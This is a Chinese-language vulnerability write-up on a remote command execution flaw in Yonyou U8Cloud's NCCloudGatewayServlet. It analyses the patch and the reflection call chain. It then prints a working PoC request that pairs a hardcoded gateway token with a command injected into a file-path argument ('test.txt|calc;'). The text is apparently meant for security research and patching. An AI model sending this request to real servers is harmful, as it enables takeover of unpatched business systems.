用友U8Cloud < 20250924补丁版本 NCCloudGatewayServlet 命令执行漏洞
字数 2001 2025-10-01 14:05:44

用友U8Cloud NCCloudGatewayServlet 命令执行漏洞分析

漏洞概述

用友U8Cloud在20250924补丁版本之前的NCCloudGatewayServlet组件存在身份验证绕过漏洞,攻击者可通过硬编码的认证令牌绕过身份验证机制,进而通过构造特定请求实现远程命令执行。

漏洞分析

补丁信息

  • 补丁标识符:9695976d67dd4786badf91df6cb6578c
  • 补丁发布地址:https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c

涉及修改文件

  1. com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW
  2. com.yonyou.nccloud.gateway.adapter.GateWayUtil

新增文件

  • com.yonyou.nccloud.gateway.adapter.util.GWWhiteCtrlUtil

漏洞机制深度分析

1. 原始认证机制(存在漏洞)

认证流程

原始认证位于 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayToken 方法中:

public static boolean checkGateWayToken(HttpServletRequest request) {
    String token = request.getHeader("gatewaytoken");
    // 从配置文件获取硬编码令牌
    String configToken = getPropertyValue("nccloud.gateway.nctoken");
    // 使用RSA解密硬编码令牌
    String decodedToken = Encode.decode("goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj");
    return decodedToken.equals(token);
}

硬编码令牌信息

  • 加密令牌:goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj
  • 解密后令牌:TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
  • HTTP头部字段:gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3

2. 修复后认证机制

新认证流程

位于 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayTokenNew

public static boolean checkGateWayTokenNew(HttpServletRequest request) {
    String ts = request.getHeader("ts"); // 时间戳
    String sign = request.getHeader("sign"); // 签名
    
    // 验证时间戳和签名非空
    if (StringUtils.isEmpty(ts) || StringUtils.isEmpty(sign)) {
        return false;
    }
    
    // 验证时间戳有效性(与服务器时间相差不超过3分钟)
    if (!validateTimestamp(ts)) {
        return false;
    }
    
    // 使用HMAC对时间戳进行签名验证
    String calculatedSign = HMAC.sign(ts, hardcodedToken);
    return calculatedSign.equals(sign);
}

3. 安全防护机制

黑名单安全权限检查

新增的 GWWhiteCtrlUtil 类实现了黑名单检查机制:

public class GWWhiteCtrlUtil {
    public static boolean checkAuthority(String serviceClassName) {
        // 阻止特定危险服务的调用
        if ("com.ufida.zior.console.IActionInvokeService".equals(serviceClassName)) {
            return false;
        }
        // 阻止危险工具类的调用
        if ("nc.bs.pub.util.ProcessFileUtils".equals(serviceClassName)) {
            return false;
        }
        return true;
    }
}

攻击链路分析

1. 请求处理流程

Servlet映射配置

webapps\u8c_web\WEB-INF\web.xml 中的配置:

<servlet>
    <servlet-name>NCInvokerServlet</servlet-name>
    <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>NCInvokerServlet</servlet-name>
    <url-pattern>/servlet/*</url-pattern>
</servlet-mapping>

请求路由过程

  1. POST请求发送至 /servlet/NCCloudGatewayServlet
  2. InvokerServlet 获取 pathInfo = /NCCloudGatewayServlet
  3. 由于不以 /~ 开头,moduleName = null
  4. serviceName = "NCCloudGatewayServlet"
  5. 获取服务对象 ServletForGW(实现 IHttpServletAdaptor 接口)
  6. 最终调用 ServletForGW#doAction 方法

2. 漏洞利用点

反射调用机制

ServletForGW#doAction 方法中:

public void doAction(HttpServletRequest request, HttpServletResponse response) {
    if (checkGateWayToken(request)) {
        // 获取JSON格式的输入数据
        JsonObject jsonData = parseRequestToJson(request);
        
        // 提取服务调用参数
        String serviceClassName = jsonData.getString("serviceClassName");
        String serviceMethodName = jsonData.getString("serviceMethodName");
        Object[] methodArgs = jsonData.getArray("serviceMethodArgInfo");
        
        // 反射调用目标方法
        Object result = MethodUtils.invokeMethod(serviceObj, serviceMethodName, methodArgs);
        
        // 返回执行结果
        writeResponse(response, result);
    }
}

3. 完整攻击调用链

  1. 身份验证绕过:使用硬编码令牌 TJ6RT-3FVCB-DPYP8-XF7QM-96FV3 绕过认证
  2. 服务定位:指定 serviceClassName"com.ufida.zior.console.IActionInvokeService"
  3. 服务调用:通过 NCLocator.lookup() 定位服务并反射调用其 exec 方法
  4. 类加载ActionExecutor.exec() 动态加载 ProcessFileUtils
  5. 方法调用:反射调用 openFile 方法
  6. 命令注入:在文件路径参数中注入命令分隔符和恶意命令
  7. 命令执行Runtime.exec() 执行系统命令

漏洞利用PoC

恶意请求构造

POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: target-server:port
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Type: application/json

{
    "serviceClassName": "com.ufida.zior.console.IActionInvokeService",
    "serviceMethodName": "exec",
    "serviceMethodArgInfo": [
        "nc.bs.pub.util.ProcessFileUtils",
        "openFile",
        ["test.txt|calc;"]
    ]
}

命令执行效果

  • 执行系统命令弹出计算器(Windows)
  • 可替换 calc 为其他系统命令实现任意命令执行

修复建议

立即措施

  1. 应用官方发布的最新补丁
  2. 检查系统日志中是否存在相关攻击尝试
  3. 监控异常网络流量和系统进程

长期防护

  1. 定期更新系统补丁
  2. 实施网络访问控制,限制不必要的服务暴露
  3. 加强系统日志监控和审计
  4. 使用Web应用防火墙(WAF)防护类似攻击

影响版本

  • 用友U8Cloud 20250924补丁版本之前的所有版本

参考资源

  1. 用友官方安全公告:https://security.yonyou.com/
  2. 漏洞补丁地址:https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c

本文档仅用于安全研究和教育目的,请勿用于非法用途。任何未经授权的系统测试都必须获得相关方面的明确许可。

用友U8Cloud NCCloudGatewayServlet 命令执行漏洞分析 漏洞概述 用友U8Cloud在20250924补丁版本之前的NCCloudGatewayServlet组件存在身份验证绕过漏洞,攻击者可通过硬编码的认证令牌绕过身份验证机制,进而通过构造特定请求实现远程命令执行。 漏洞分析 补丁信息 补丁标识符 :9695976d67dd4786badf91df6cb6578c 补丁发布地址 :https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c 涉及修改文件 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW com.yonyou.nccloud.gateway.adapter.GateWayUtil 新增文件 com.yonyou.nccloud.gateway.adapter.util.GWWhiteCtrlUtil 漏洞机制深度分析 1. 原始认证机制(存在漏洞) 认证流程 原始认证位于 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayToken 方法中: 硬编码令牌信息 加密令牌 :goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj 解密后令牌 :TJ6RT-3FVCB-DPYP8-XF7QM-96FV3 HTTP头部字段 :gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3 2. 修复后认证机制 新认证流程 位于 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayTokenNew : 3. 安全防护机制 黑名单安全权限检查 新增的 GWWhiteCtrlUtil 类实现了黑名单检查机制: 攻击链路分析 1. 请求处理流程 Servlet映射配置 在 webapps\u8c_web\WEB-INF\web.xml 中的配置: 请求路由过程 POST请求发送至 /servlet/NCCloudGatewayServlet InvokerServlet 获取 pathInfo = /NCCloudGatewayServlet 由于不以 /~ 开头,moduleName = null serviceName = "NCCloudGatewayServlet" 获取服务对象 ServletForGW (实现 IHttpServletAdaptor 接口) 最终调用 ServletForGW#doAction 方法 2. 漏洞利用点 反射调用机制 在 ServletForGW#doAction 方法中: 3. 完整攻击调用链 身份验证绕过 :使用硬编码令牌 TJ6RT-3FVCB-DPYP8-XF7QM-96FV3 绕过认证 服务定位 :指定 serviceClassName 为 "com.ufida.zior.console.IActionInvokeService" 服务调用 :通过 NCLocator.lookup() 定位服务并反射调用其 exec 方法 类加载 : ActionExecutor.exec() 动态加载 ProcessFileUtils 类 方法调用 :反射调用 openFile 方法 命令注入 :在文件路径参数中注入命令分隔符和恶意命令 命令执行 : Runtime.exec() 执行系统命令 漏洞利用PoC 恶意请求构造 命令执行效果 执行系统命令弹出计算器(Windows) 可替换 calc 为其他系统命令实现任意命令执行 修复建议 立即措施 应用官方发布的最新补丁 检查系统日志中是否存在相关攻击尝试 监控异常网络流量和系统进程 长期防护 定期更新系统补丁 实施网络访问控制,限制不必要的服务暴露 加强系统日志监控和审计 使用Web应用防火墙(WAF)防护类似攻击 影响版本 用友U8Cloud 20250924补丁版本之前的所有版本 参考资源 用友官方安全公告:https://security.yonyou.com/ 漏洞补丁地址:https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c 本文档仅用于安全研究和教育目的,请勿用于非法用途。任何未经授权的系统测试都必须获得相关方面的明确许可。